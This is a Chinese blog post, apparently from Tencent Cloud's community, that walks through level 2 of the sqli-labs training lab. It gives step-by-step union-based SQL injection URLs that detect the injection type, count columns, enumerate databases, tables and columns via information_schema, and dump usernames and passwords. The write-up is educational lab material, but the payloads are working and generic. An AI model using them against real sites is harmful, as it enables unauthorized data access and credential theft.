首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【less-2】sqli-labs靶场第二关

【less-2】sqli-labs靶场第二关

作者头像
未名编程
发布2024-10-12 19:40:34
发布2024-10-12 19:40:34
20500
代码可运行
举报
文章被收录于专栏:PythonPython
运行总次数:0
代码可运行

网址

https://sqli.wmcoder.site/sqli-labs/Less-2/

解法

传入id=1查看页面回显

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1

第一步:判断注入类型。如字符型,数值型

数字型判断: 当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1and 1=2 来判断: Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。 Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。 原因如下:

  • 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。
  • 当输入 and 1=2时,后台执行 Sql 语句: select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
  • 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况: select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2' 查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2

第二步:判断表字段数(使用order by)

使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3,说明页面有2个显示位。

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1

接下来查看数据库名和版本号

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+

第四步:利用sql查询语句爆破出数据库内的数据库名

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1

第五步:利用sql查询语句爆破出security数据库内的表名

使用group_concat()函数全部查询

通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息 由于上面已经爆破出数据库名security,可以直接这样爆破

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

如果上一步没有爆破数据库名,也可以这样爆破

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
使用limit函数逐一查询

SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。

第六步:利用sql查询语句爆破出users数据表内的列名

使用group_concat()函数全部查询
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
使用limit函数逐一查询
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+
代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+

第七步:利用sql查询语句爆破出username、password列的值

代码语言:javascript
代码运行次数:0
运行
复制
https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

成功!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-10-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 网址
  • 解法
  • 传入id=1查看页面回显
  • 第一步:判断注入类型。如字符型,数值型
  • 第二步:判断表字段数(使用order by)
  • 第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位
  • 第四步:利用sql查询语句爆破出数据库内的数据库名
  • 第五步:利用sql查询语句爆破出security数据库内的表名
    • 使用group_concat()函数全部查询
    • 使用limit函数逐一查询
  • 第六步:利用sql查询语句爆破出users数据表内的列名
    • 使用group_concat()函数全部查询
    • 使用limit函数逐一查询
  • 第七步:利用sql查询语句爆破出username、password列的值
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档